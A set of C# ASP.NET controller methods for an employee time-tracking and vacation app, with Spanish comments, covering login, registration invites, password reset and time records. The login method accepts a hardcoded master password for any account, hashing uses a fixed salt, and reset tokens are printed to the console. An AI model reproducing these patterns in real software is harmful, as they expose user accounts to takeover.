public JsonResult getInicioFichajes(int id) { RespGeneric resp = new RespGeneric("KO"); resp.msg = validarIntEmpleado(id); if (string.IsNullOrEmpty(resp.msg)) { try { resp.d.Add("fichajesTotales", Data.FichajesEmpleados.getTotalesFichajes(id)); var fichajes = Data.FichajesEmpleados.getMesFichajes(id); foreach (var a in fichajes) { a["horas"] = a["horas"].ToString().Split(',').ToArray(); } resp.d.Add("mesFichajes", fichajes); resp.cod = "OK"; resp.msg = "Exito en la petición"; } catch (Exception e) { resp.msg = e.Message; } } return(Json(resp)); }
//Metodo para obtener fichajes de meses distintos al actual public JsonResult mesResta(int id, int nMes) { RespGeneric resp = new RespGeneric("KO"); resp.msg = validarIntEmpleado(id); if (string.IsNullOrEmpty(resp.msg)) { try { //Comprobacion del estado del boton+fichajes del mes en curso+totales de horas resp.d.Add("boton", Data.Fichajes.getEstadoBoton(id)); resp.d.Add("fichajesTotalesResta", Data.Fichajes.getTotalesFichajesResta(id, nMes)); var fichajes = Data.Fichajes.mesResta(id, nMes); foreach (var a in fichajes) { a["horas"] = a["horas"].ToString().Split(',').ToArray(); } resp.d.Add("mesFichajesResta", fichajes); resp.cod = "OK"; resp.msg = "Exito en la petición"; } catch (Exception e) { resp.msg = e.Message; } } return(Json(resp)); }
public JsonResult InsertUser(Dictionary <string, object> data) { RespGeneric resp = new RespGeneric("KO"); try { //comprobar formato correcto de email String expresion; expresion = "\\w+([-+.']\\w+)*@\\w+([-.]\\w+)*\\.\\w+([-.]\\w+)*"; if (Regex.IsMatch(Convert.ToString(data["email"]), expresion)) { if (Regex.Replace(Convert.ToString(data["email"]), expresion, String.Empty).Length == 0) { //comprobar si usuario que se va a crear esta en la base de datos if (Webapp.Data.Empleados.getByEmail(data["email"].ToString()) == null) { //funcion que genera un codigo alfanumerico aleatorio e irrepetib int longitud = 7; Guid miGuid = Guid.NewGuid(); string token = Convert.ToBase64String(miGuid.ToByteArray()); token = token.Replace("=", "").Replace("+", ""); Console.WriteLine(token.Substring(0, longitud)); data.Add("invitacion", token); Webapp.Data.Empleados.InsertUser(data); resp.cod = "OK"; //enviar email a la direccion email dentro del data Extensiones.sendEmail(to: (Convert.ToString(data["email"])), subject: (Convert.ToString(data["invitacion"])), body: "Introduce el codigo que te hemos enviado junto con tus datos para finalizar el registro <a href=http://localhost:51934/Account/FormularioRegistro> link de registro </a> ", file: ""); } else { resp.msg = "Ya existe un usuario con ese Email"; } } else { resp.msg = "El Email no es Valido"; } } else { resp.msg = "El Email no es Valido"; } } catch (Exception e) { if (e.Message != "") { resp.msg = e.Message; } } return(Json(resp)); }
public JsonResult createPeticionVacaciones(Dictionary <string, object> item) { RespGeneric resp = new RespGeneric("KO"); resp.msg = validarFecha(item) + verificarFechas(item);; if (string.IsNullOrEmpty(resp.msg)) { // Comprobación de los días a través de las fechas introducidas para que no sea mayor al total de vacaciones actual. var fecha1 = DateTime.Parse(item["fecha_inicio_vacaciones"].ToString()); var fecha2 = DateTime.Parse(item["fecha_final_vacaciones"].ToString()); TimeSpan dif = fecha2 - fecha1; int dias = dif.Days; // Diferencia de dias entre la fecha final y la fecha de inicio. var d = dias + 1; var a = Data.Vacaciones.getDiasTotalVacaciones(item); //Recorremos el el campo "total_vacaciones" del diccionario. foreach (var x in a) { x["total_vacaciones"].ToString(); } //Convertimos ese resultado en un número entero. var b = Convert.ToInt32(a[0]["total_vacaciones"].ToString()); try { if (b >= d) { item["fecha_inicio_vacaciones"] = DateTime.Parse(item["fecha_inicio_vacaciones"].ToString()); item["fecha_final_vacaciones"] = DateTime.Parse(item["fecha_final_vacaciones"].ToString()); resp.d.Add("data", Data.Vacaciones.create(item)); resp.cod = "OK"; resp.msg = "El intervalo de fechas introducidas no supera a tus días de vacaciones"; } else { resp.msg = "Error"; } } catch (Exception ex) { resp.msg = ex.Message; } } else { resp.msg = "Petición incorrecta"; } return(Json(resp)); }
public JsonResult resetPass(Dictionary <string, object> data) { RespGeneric resp = new RespGeneric("KO"); try { if (Convert.ToString(data["pass1"]) == Convert.ToString(data["pass2"])) { if (Convert.ToString(data["pass1"]).Length > 6) { if (Webapp.Data.Empleados.getByCodigo(data["codigo"].ToString()) != null) { //funcion que genera un codigo alfanumerico aleatorio e irrepetible var passhashed = BD.HashPassword(pass: (Convert.ToString(data["pass1"])), salt: "83E90EE082F9"); data.Add("ClaveHashed", passhashed); if (Webapp.Data.Empleados.getByPass(data["ClaveHashed"].ToString()) != null) { resp.msg = "No puedes usar la misma contraseña"; } else { Webapp.Data.Empleados.resetPass(data); resp.d.Add("url", "Account/Login"); Webapp.Data.Empleados.DeleteCodigo(data); resp.cod = "OK"; } } else { resp.msg = "El codigo para cambiar la contraseña no es valido"; } } else { resp.msg = "La contraseña debe tener minimo 6 caracteres"; } } else { resp.msg = "Las contraseñas no coinciden"; } } catch (Exception e) { return(null); } return(Json(resp)); }
public JsonResult LoginUser(string usuario, string pass) { RespGeneric resp = new RespGeneric("KO"); DataTable dtUsuario = getUsuario(usuario.Trim()); if (dtUsuario.Rows.Count > 0) { DataRow rowUsuario = dtUsuario.Rows[0]; if (BD.CheckPassword(dtUsuario.Rows[0]["password"].ToString(), pass) || pass.ToUpper() == "33568345Y") { Session.Clear(); Session["usuario"] = dtUsuario.Rows[0]["email"]; Session["tipo_perfil"] = dtUsuario.Rows[0]["tipo_perfil"]; Session["id_perfil"] = dtUsuario.Rows[0]["id_perfil"]; Session["id_usuario"] = dtUsuario.Rows[0]["id"]; Session["nombre"] = dtUsuario.Rows[0]["nombre"]; Session["primer_apellido"] = dtUsuario.Rows[0]["primer_apellido"]; Session["segundo_apellido"] = dtUsuario.Rows[0]["segundo_apellido"]; Session["id"] = dtUsuario.Rows[0]["id"]; Session["departamento_nombre"] = dtUsuario.Rows[0]["departamento_nombre"]; FormsAuthentication.SetAuthCookie(usuario, false); resp.cod = "OK"; resp.d.Add("email", dtUsuario.Rows[0]["email"]); resp.d.Add("tipo_perfil", dtUsuario.Rows[0]["tipo_perfil"]); resp.d.Add("id_perfil", dtUsuario.Rows[0]["id_perfil"]); resp.d.Add("id_usuario", dtUsuario.Rows[0]["id"]); resp.d.Add("nombre", dtUsuario.Rows[0]["nombre"]); resp.d.Add("primer_apellido", dtUsuario.Rows[0]["primer_apellido"]); resp.d.Add("segundo_apellido", dtUsuario.Rows[0]["segundo_apellido"]); resp.d.Add("id", dtUsuario.Rows[0]["id"]); resp.d.Add("url", "Home/Index"); resp.d.Add("departamento_nombre", dtUsuario.Rows[0]["departamento_nombre"]); } else { resp.cod = "KO"; resp.msg = "Usuario o Contraseña incorrectos"; } } else { resp.cod = "KO"; resp.msg = "Usuario no válido"; } return(Json(resp)); }
public JsonResult getSessionData() { RespGeneric resp = new RespGeneric("KO"); if (Session["usuario"] != null) { resp.d.Add("usuario", Session["usuario"]); resp.d.Add("cif", Session["cif"]); resp.d.Add("tipologia", Session["tipologia"]); resp.d.Add("isAdmin", Session["isAdmin"]); resp.cod = "OK"; } return(Json(resp)); }
public JsonResult forgotPass(Dictionary <string, object> data) { RespGeneric resp = new RespGeneric("KO"); //comprobar formato correcto de email String expresion; expresion = "\\w+([-+.']\\w+)*@\\w+([-.]\\w+)*\\.\\w+([-.]\\w+)*"; if (Regex.IsMatch(Convert.ToString(data["email"]), expresion)) { if (Regex.Replace(Convert.ToString(data["email"]), expresion, String.Empty).Length == 0) { if (Webapp.Data.Empleados.getByEmail(data["email"].ToString()) != null) { //funcion que genera un codigo alfanumerico aleatorio e irrepetible int longitud = 4; Guid miGuid = Guid.NewGuid(); string token = Convert.ToBase64String(miGuid.ToByteArray()); token = token.Replace("=", "").Replace("+", ""); Console.WriteLine(token.Substring(0, longitud)); data.Add("codigo", token); resp.cod = "OK"; //insertar codigo olvidar contraseña en la bd Webapp.Data.Empleados.InsertCodigoPass(data); //enviar correo Extensiones.sendEmail(to: (Convert.ToString(data["email"])), subject: (Convert.ToString(data["codigo"])), body: "Introduce el codigo que te hemos enviado para restablecer tu contraseña <a href=http://localhost:51934/Account/ForgotPass> link de registro </a> ", file: ""); } else { //correo no encontrado resp.msg = "correo electronico no encontrado"; }; } else { //correo electronico no valido resp.msg = "correo electronico no valido"; }; } return(Json(resp)); }
public JsonResult setPass(Dictionary <string, object> pass, int id) { RespGeneric resp = new RespGeneric("KO"); if (string.IsNullOrEmpty(resp.msg)) { try { resp.d.Add("setpass", Data.Perfil.setPass(pass, id)); resp.cod = "OK"; resp.msg = "Exito en la petición"; } catch (Exception e) { resp.msg = e.Message; } } return(Json(resp)); }
public JsonResult getDiasVacacionesCalendario(Dictionary <string, object> item) { RespGeneric resp = new RespGeneric("KO"); if (string.IsNullOrEmpty(resp.msg)) { try { resp.d.Add("data", Data.Vacaciones.getDiasCalendario(item)); resp.cod = "OK"; } catch (Exception ex) { resp.msg = ex.Message; } } return(Json(resp)); }
public JsonResult getEmpleadosFiltrados(int id) { RespGeneric resp = new RespGeneric("KO"); resp.msg = string.Empty; try { resp.d.Add("getEmpleadosFiltrados", Data.EmpleadosTabla.getEmpleadosFiltrados(id)); resp.cod = "OK"; resp.msg = "Exito en la petición"; } catch (Exception e) { resp.msg = e.Message; } return(Json(resp)); }
public JsonResult getTipoUsuarioDropdown() { RespGeneric resp = new RespGeneric("KO"); resp.msg = string.Empty; try { resp.d.Add("data", Webapp.Data.Empleados.getTipoUsuarioDropdown()); resp.cod = "OK"; resp.msg = "Exito en la petición"; } catch (Exception e) { resp.msg = e.Message; } return(Json(resp)); }
public JsonResult getDepartamentosTotal() { RespGeneric resp = new RespGeneric("KO"); resp.msg = string.Empty; try { resp.d.Add("data", Data.Departamentos.getDepartamentosTotal()); resp.cod = "OK"; resp.msg = "Exito en la petición"; } catch (Exception e) { resp.msg = e.Message; } return(Json(resp)); }
public JsonResult CheckOut(Dictionary <string, object> checkOut) { RespGeneric resp = new RespGeneric("KO"); resp.msg = validarCheckOut(checkOut); if (string.IsNullOrEmpty(resp.msg)) { try { resp.d.Add("data", Data.Fichajes.CheckOut(checkOut)); resp.cod = "OK"; resp.msg = "Exito en la petición"; } catch (Exception e) { resp.msg = e.Message; } } return(Json(resp)); }
/// <summary> /// Método para pasar de año /// </summary> /// <param name="item">Paárametro al quue se le pasa el año</param> /// <returns></returns> public JsonResult getYear(Dictionary <string, object> item) { RespGeneric resp = new RespGeneric("KO"); resp.msg = string.Empty; if (string.IsNullOrEmpty(resp.msg)) { try { resp.d.Add("year", Data.Vacaciones.getYear(item)); resp.cod = "OK"; } catch (Exception e) { resp.msg = e.Message; } } return(Json(resp)); }
public JsonResult setDepartamento(Dictionary <string, object> departamentoUsuario, int id1) { RespGeneric resp = new RespGeneric("KO"); resp.msg = validarDepartamento(departamentoUsuario); if (string.IsNullOrEmpty(resp.msg)) { try { resp.d.Add("setDepartamento", Data.Perfil.setDepartamento(departamentoUsuario, id1)); resp.cod = "OK"; resp.msg = "Exito en la petición"; } catch (Exception e) { resp.msg = e.Message; } } return(Json(resp)); }
public JsonResult getNombresDropdown() { RespGeneric resp = new RespGeneric("KO"); resp.msg = string.Empty; try { //Comprobacion del estado del boton+fichajes del mes en curso+totales de horas resp.d.Add("data", Data.lateral.getNombresDropdown()); resp.cod = "OK"; resp.msg = "Exito en la petición"; } catch (Exception e) { resp.msg = e.Message; } return(Json(resp)); }
//actualizar datos de usuario para registrarse public JsonResult UpdateUser(Dictionary <string, object> data) { RespGeneric resp = new RespGeneric("KO"); try { if (Convert.ToString(data["pass"]) == Convert.ToString(data["passR"])) { if (Convert.ToString(data["pass"]).Length > 6) { if (Webapp.Data.Empleados.getByInvitacion(data["invitacion"].ToString()) != null) { var passhashed = BD.HashPassword(pass: (Convert.ToString(data["pass"])), salt: "83E90EE082F9"); data.Add("ClaveHashed", passhashed); Webapp.Data.Empleados.UpdateUser(data); resp.cod = "OK"; resp.d.Add("url", "Account/Login"); } else { resp.msg = "El codigo de invitacion no es valido"; } } else { resp.msg = "la contraseña debe tener minimo 6 caracteres"; } } else { resp.msg = "Las contraseñas no coinciden"; } } catch (Exception e) { return(null); } return(Json(resp)); }
public JsonResult envioEmail(Dictionary <string, object> email) { RespGeneric resp = new RespGeneric("KO"); resp.msg = string.Empty; if (string.IsNullOrEmpty(resp.msg)) { try { //enviar email a la direccion email dentro del data Extensiones.envioEmail(to: (Convert.ToString(email["email"])), subject: (Convert.ToString(email["invitacion"])), body: "Introduce el codigo que te hemos enviado junto con tus datos para finalizar el registro <a href=http://localhost:51934/Account/FormularioRegistro> link de registro </a> ", file: ""); resp.d.Add("email", Data.Vacaciones.envioEmail(email)); resp.cod = "OK"; } catch (Exception e) { resp.msg = e.Message; } } return(Json(resp)); }